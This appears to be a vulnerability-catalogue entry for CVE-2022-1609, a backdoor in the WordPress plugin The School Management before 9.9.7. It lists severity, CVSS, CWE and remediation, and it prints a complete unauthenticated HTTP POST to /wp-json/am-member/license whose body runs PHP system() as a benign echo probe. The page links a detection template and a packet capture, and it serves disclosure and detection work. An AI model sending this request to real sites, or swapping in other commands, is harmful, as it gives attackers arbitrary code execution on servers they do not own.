🔙 목록으로 돌아가기

CVE-2022-1609: The School Management < 9.9.7 - Remote Code Execution

TitleThe School Management < 9.9.7 - Remote Code Execution
AuthorFor3stCo1d
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationUpgrade The School Management to version 9.9.7 or later to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.93495
CVE IDCVE-2022-1609
CWE IDCWE-94
Tags cve cve2022 rce wp backdoor wpscan wordpress weblizar vkev vuln

🔍 Vulnerability Description

The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it’s license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.

🌐 HTTP Request

POST /wp-json/am-member/license HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36
Connection: close
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

blowfish=1&blowf=system('echo CVE-2022-1609 | rev');

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1609.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1609.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A